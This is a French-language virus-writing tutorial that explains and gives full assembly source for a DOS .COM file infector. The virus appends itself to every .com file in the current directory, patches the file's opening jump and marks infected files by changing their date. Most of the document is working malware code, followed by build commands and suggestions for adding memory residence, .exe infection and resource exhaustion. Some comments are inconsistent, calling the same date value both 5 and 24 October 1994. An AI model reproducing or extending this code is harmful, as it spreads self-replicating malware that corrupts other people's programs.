--------------------------------------------------------------------------------------- X. COM infector Li0n7 --------------------------------------------------------------------------------------- [ Introduction ] Révolté par cette tendance actuelle à préférer la facilité en optant pour la programmation de virus en vbs/js? Tendance qui ne démontre que trop bien une incompétence flagrante de la part des pseudo <> de 12/13 ans fiers de répandre leurs vomissures puérils sur le net. Lovelette a ouvert la marche, et depuis, des clones se multiplient sans cesse sur la toile, dégradant l'image du codeur de virus. La programmation virale est loin d'être une mince affaire, loin de là, et, de ce fait, des virus telles que CIH ou Chernobyl ont complétement disparues, le relai n'a pu être passé, la majorité des jeunes programmeurs étant tournés vers des langages pitoyables, il faut le dire, qui ne sont que des langages de script affreusement limités et d'une simplicité déconcertante. Morris n'est plus qu'une légende, la scène l'ombre d'elle même. [ Sommaire ] I. Description II. Programmation III. Code source IV. Conclusion I. Description ________________ S'il fallait choisir un langage, ce serait l'assembleur. Pourquoi un langage d'assemblage ? L'asm représente un compromis parfait entre vitesse d'éxécution, du fait qu'il se rapproche le plus du processeur et qu'aucune librairie n'est nécéssaire à son éxécution, polyvalence et potentiel de destruction. Les ouvertures possibles en assembleur n'ont aucune limite, si ce n'est vos capacités de coder. MBR/BOOT sector writing, polymorphic engine, multiple file format infector... Tout est accessible et dans un nombre de cycles processeur infime en comparaison des langages de haut niveau! [ Fonctionnement ] Nous allons commencer par un virus simple d'accès, c'est un com infector, non résidant en mémoire. Il va se contenter d'établir une liste de tous les fichiers en .com du répertoire courant et va se recopier dans chacun d'eux, de manière à ce qu'à chaque lancement du .com le virus se lance en parallèle sans géner le processus du fichier infecté. Le code du virus est ainsi totalement transparent. +------------+ -> offset virus |0x09E0 virus| -> jmp offset fichier +------------+ +------------+ -> offset file | FICHIER | | FICHIER | | .COM | |----¤----> | .COM | -> corps du fichier | A INFECTER | injection | INFECTE | +------------+ du virus +------------+ -> offset virus |INSTRUCTIONS| | VIRUS | +------------+ |0x09E0 file | -> jmp offset file +------------+ Donc d'après ce schéma, il y a 3 parties importante qui sont gréffées lors de l'injection de notre virus. Tout d'abord au début du fichier est ajouté un jump pointant sur l'offset du code du virus, ainsi lors de l'éxécution du .com infecté, le cpu jump sur le virus situé à la fin du fichier. Ensuite les instructions du virus sont placés à la fin comme je l'ai dit précédemment, c'est donc à ce niveau là que le code malveillant est inséré, ici en l'occurence la routine d'infection des .com. Et enfin un jmp prenant pour argument l'offset du fichier infecté se voit ajouté à la fin. Cette structure est générique donc mémorisez la bien. La taille du fichier est donc légérement augmenter, ceci reste quasi invisible, vu le faible niveau d'interprétation de l'assembleur! Notez L'instruction 0x09E0 correspond à un saut inconditionnel jump en langage machine ;-) Si les adresses passés en argument aux jmp sont mal calculées, c'est le plantage, et il n'y aura pas de nop pour rectifier le tir cette fois-ci! Passons à la programmation de la bestiole. II. Programmation : ___________________ Il s'agit donc d'infecter tous les .com du répertoire courant, en s'auto-injectant dedans de manière à ne pas déranger le processus du fichier hôte. Tout d'abord nous allons émuler un saut qui sera placé dans le programme infecté, puis créer une routine de fin pour rendre la main au DOS. ------8<-------------------- .model tiny ;on aura recourt à une petite pile .code org 100h ;les coms commencent à 100h Virus: jmp Start ;notre saut nop ;0x90 mov ax,0900h ;on affiche un petit message :-D mov dx,offset hello int 21h mov ax,4C00h ;code de sortie dans l'accumulateur int 21h ;interruption DOS, on quitte ------8<-------------------- Ensuite, nous devons récupérer l'offset réèl de notre virus, c'est à dire calculer l'adressage de notre label dans le fichier hôte. Pour cela, nous soustrayons l'offset de notre label getadd: à l'adresse relative de getadd: obtenue après compilation. ------8<-------------------- Start: call getadd ;on call notre procédure getadd: ;l'adresse est pushée sur la stack pop bp ;on récupère l'adresse sur la pile sub bp,offset getadd ;on l'a soustrait à l'adresse relative de getadd ------8<-------------------- A présent il nous faut définir une table DTA pour récupérer la taille du fichier DTA est un tableau de bits nous reinseignant sur les différents paramètres du fichier précédemment ouvert. Il nous est plus qu'utile, car nous ne connaissons ni le nom, ni les attributs ou taille des fichiers que nous allons ouvrir et manipuler avant injection du virus. On fait appel à ce tableau via l'instruction | DTA | ------------------------------------------------------------ Offset Size Function 0h 21 Bytes Reserv‚ 15h 1 Byte Attributs du fichier 16h 2 Bytes(WORD) Time du fichier 18h 2 Bytes(WORD) Date du fichier 1Ah 4 Bytes(DWORD) Taille du fichier 1Eh 13 Bytes Nom du fichier ------------------------------------------------------------ Nous allons commencer par appliquer le décalage relatif à l'offset de dta que nous allons stocker dans le registre de données (dx). ------8<-------------------- MDTA: push cs pop ds mov dx,offset DTA ;dx <- table DTA add dx,bp ;décalage mov ah,1Ah ;offset correspondant à la taille du fichier dans DTA int 21h ------8<-------------------- Occupons nous maintenant de replacer les octets originaux que nous avons déplacés dans le com hôte lors de l'infection (en ajoutant un jmp pointant sur le début du virus) sans ça, il va planter son adressage étant complétement décalé. Pour cela il nous suffit juste de déplacer ces octets du data segment vers l'extra segment à partir de 100h, soit le début du .com. On va ainsi transmettre les 4 octets de ds:si vers es:di. ------8<-------------------- Offset_hote: push cs pop ds mov si,offset begin ;ds:si <- offset begin add si,bp ;on applique le décalage push cs pop es ;es <- cs mov di,100h ;es:di pointe au début du .com (adresse: 0x0100) mov cx,4 ;on place le compteur à 4 rep movsb ;et on replace les 4 octets originaux ------8<-------------------- Nous entrons dans le vif du sujet! Commençons avant d'infecter les fichiers par les lister! On va donc se construire une liste de tous les .com du répertoire courant. Pour cela nous allons utiliser le code 0x004E de l'interruption DOS 0x21 donc voici la syntaxe: Interruption 21h, code 4EH : recherche fichier entrée: AH = 4Eh CL = attributs de fichier DS:DX = pointeur sur le chemin du fichier sortie: AX = 0 si la recherche a abouti ou numéro d'erreur sinon Comme attributs, nous définirons 7, qui représente tous les attributs et comme path *.com, soit tous les .com du current directory. La recherche lancée, nous sonderons ax pour récupérer le code de sortie, s'il est égale à 18, c'est que la recherche est terminée, sinon on ouvre le fichier on lance la routine infected qui vérifie si le fichier est infecté, si non on call le processus infect. ------8<-------------------- ccherche: push cs pop ds mov dx,offset com_file ;notre path *.com add dx,bp ;décalage... mov cl,7 ;tout attribut mov ah,4Eh int 21h cmp ax,18 ;nous comparons ensuite loop_cherche: jz quit_now ;recherche finie? On quitte push cs pop ds mov dx,offset DTA + 1Eh ;nom du fichier dans la DTA_Table add dx,bp ;décalage mov ax,3D02h ;ouverture en lecture/écriture int 21h mov bx,ax ;on place le handle du fichier dans bx jc quit_now ;erreur? On quitte jnz Infect ;sinon on injecte le virus ------8<-------------------- Il s'agit ensuite de fermer le fichier après la routine d'infection (jmp Infect) et de relancer la recherche en utilisant le code 0x004F de l'interruption 0x21 qui effectue une recherche en prenant en argument ceux entrés précédemment (recherche fichier, voir ci-dessus). On effectue donc un saut inconditionnel vers l'offset de loop_cherche (la boucle de recherche des .com). ------8<-------------------- Close_file: mov ah,3Eh ;code de fermeture int 21h ;interruption trouve: mov ah,4Fh ;rechercher le suivant int 21h cmp ax,18 ;recherche achevée? jmp loop_cherche ;on saute à loop_cherche ------8<-------------------- A présent, il ne nous reste que deux fonctions à déclarer avant la procédure finale d'infection : quit_now: qui va nous servir à rendre la main au DOS en pushant l'adresse de début du .com (100h) ou commence l'hôte (le label virus:) qui affiche un message et quitte (0x4C00). infected: label vérifiant l'infection d'un programme pour ne pas s'injecter plusieurs fois dans ce-dernier et ainsi créer une boucle d'infection infinie qui planterait windows. Parlons un peu de l'infection, comment allons-nous pouvoir affirmer avec certitude qu'un programme a déjà été infecté ? Nous allons nous servir de la méthode ingénieuse d'Androgyne (rtcmag n°2) qui consiste à modifier la date de modification dudit fichier! C'est très simple il nous suffit d'utiliser le code 0x57 de l'interruption DOS 0x21, voici la syntaxe : Interruption, code 57h: manipulation des paramètres d'un fichier Sous fonction 00h : lecture date et heure de modification d'un fichier entrée: AH = 57h AL = 00h BX = handle du fichier (retournée par la fonction d'ouverture dans ax) sortie: AX = code d'erreur en cas d'erreur CX = 2048*heure + 32*minute + seconde/2 DX = 512*année + 32*mois + jour registre flag C mis à 1 si une erreur est survenue Sous fonction 01h : Définir date et heure de modification d'un fichier entrée: AH = 57h AL = 01h BX = handle du fichier (retournée par la fonction d'ouverture dans ax) CX = 2048*heure + 32*minute + seconde/2 DX = 512*année + 32*mois + jour sortie: AX = code d'erreur en cas d'erreur registre flag C mis à 1 si une erreur est survenue ------8<-------------------- quit_now: mov ax,100h ;adresse de commencement du .com push ax ;on push cette valeur en haut de la pile ret ;on redonne la main au processus appelant infected: mov al,0 ;00h = lecture mov ah,57h ;code de manipulation des paramètres du fichier int 21h cmp dx,1D45h ;date = 5 Octobre 1994 ? ret ------8<-------------------- Voici notre ultime procédure, la raison même d'être de notre virus, le coeur de notre code assurant la survie de notre microbe sur le disque de la victime. Mais qu'en est-il vraiment? Au stade actuelle de le programmation du virus, il nous suffit de lire les 4 premiers octets du programme hôte, d'y placer un jmp vers l'offset de notre virus que nous allons placé à la fin du fichier à infecter et enfin de corrompre sa date de modification (24 Octobre 1994). Qu'est-ce qu'on s'amuse ! Comment récupérer l'offset de notre virus ? Par simple soustration de l'offset du label de fin (fin:) par celui du label de début (start:), on jump ensuite à la fonction close_file. ------8<-------------------- Infect: xor cx,cx ;0? 0! xor dx,dx ;0?! 0!! mov ax,4200h ;on se place au début du fichier int 21h mov cx,4 ;on place le compteur à 4 push cs pop ds mov dx,offset begin ;dx <- offset begin (pour lecture des 4 octets de départ) add dx,bp ;on y ajoute le décalage mov ah,3Fh ;code de lecture int 21h ;interruption DOS - lecture xor cx,cx ;cx <- 0 xor dx,dx ;dx <- 0 mov ax,4202h ;on se place à la fin du fichier int 21h push ax ;on empile ax mov cx,offset Fin - offset Start + 1 ;on calcule la taille du virus push cs pop ds mov dx,offset Start ;ds:dx <- offset Start (début virus) add dx,bp ;éternel décalage mov ah,40h ;on écrit le virus à la fin du fichier à infecte! ROCK ON! int 21h xor cx,cx ;cx <- 0 xor dx,dx ;dx <- 0 mov ax, 4200h ;on se place au début du fichier int 21h pop ax ;on récupère ax <- taille originale du fichier sub ax,3 mov byte ptr [bp + fjmp],0E9h ;on se crée un tit jmp en opcode mov word ptr [bp + fjmp + 1],ax ;et on entre en argument l'offset de notre virus push cs pop ds mov dx,offset fjmp ;adresse de false jmp (fmp) add dx,bp mov cx,3 mov ah,40h ;écriture du jmp dans les 3 premiers octets du fichier int 21h mov al,0 mov ah,57h ;on va modifier la date int 21h mov dx,1D45h ;date <- 1D45h <- 24 Octobre 1994 mov al,1 ;on définie la date mov ah,57h ;on modifie le fichier int 21h jmp Close_file ;on ferme le fichier et on continue ------8<-------------------- III. Code source : __________________ ------8<--------------------------------------------------------------------- ;zex.asm by Li0n7 ;R0CK 0N BABY ! .model tiny .code org 100h Virus: jmp Start nop mov ax,0900h mov dx, offset hello int 21h mov ax,4C00h int 21h Start: call getadd getadd: pop bp sub bp,offset getadd MDTA: push cs pop ds mov dx,offset DTA add dx,bp mov ah,1Ah int 21h Offset_hote: push cs pop ds mov si,offset begin add si,bp push cs pop es mov di,100h mov cx,4 rep movsb ccherche: push cs pop ds mov dx,offset com_file add dx,bp mov cl,7 mov ah,4Eh int 21h cmp ax,18 loop_cherche: jz quit_now mov al,2 push cs pop ds mov dx,offset DTA + 1Eh add dx,bp mov ah,3Dh int 21h mov bx,ax jc quit_now call infected jnz Infect Close_file: mov ah,3Eh int 21h trouve: mov ah,4Fh int 21h cmp ax,18 jmp loop_cherche quit_now: mov ax,100h push ax ret infected: mov al,0 mov ah,57h int 21h cmp dx,1D45h ret Infect: xor cx,cx xor dx,dx mov ax,4200h int 21h mov cx,4 push cs pop ds mov dx,offset begin add dx,bp mov ah,3Fh int 21h xor cx,cx xor dx,dx mov ax,4202h int 21h push ax mov cx,offset Fin - offset Start + 1 push cs pop ds mov dx,offset Start add dx,bp mov ah,40h int 21h xor cx,cx xor dx,dx mov al,00 mov ah,42h int 21h pop ax sub ax,3 mov byte ptr [bp + fjmp],0E9h mov word ptr [bp + fjmp + 1],ax push cs pop ds mov dx,offset fjmp add dx,bp mov cx,3 mov ah,40h int 21h mov al,0 mov ah,57h int 21h mov dx,1D45h mov al,1 mov ah,57h int 21h jmp Close_file com_file db '*.com$' hello db 'Mouhahahahaha!','$' begin db 4 dup (90h) fjmp db 3 dup (0) DTA db 43 dup (0) Fin: end Virus ------8<--------------------------------------------------------------------- IV. Conclusion : ________________ Vous n'avez plus qu'à tester le microbe. Copier le dans un répertoire avec quelques .com pures, j'entends par là non-infectés, puis lancer le virus. Mystérieusement vos .com seront devenus quelque peu boulémiques ! Notez que la taille du virus est de 269 octets, ce qui est ridicule en comparaison à des virus codés en vb ou C, mais cette taille reste entièrement optimisable. La routine d'infection peut être raccourcie d'un poil, ainsi que la routine de recherche. Vous pouvez l'amélioré en le rendant résidant mémoire en détournant la table des vecteurs d'interruptions, ou bien infecter un autre type de fichier, .exe par exemple, ce qui implique une connaissance pointue du PE header (équivalent de l'elf header linux) ou encore imposer une consommation abusive des ressources de l'OS, jusqu'à redémarrage de la machine. A vous de jouer! Pour assembler: >tasm zex.asm Pour linker: >tlink zex.obj >zex ; :-) Besoin d'aide? Commentaires? Insultes? Li0n7@voila.fr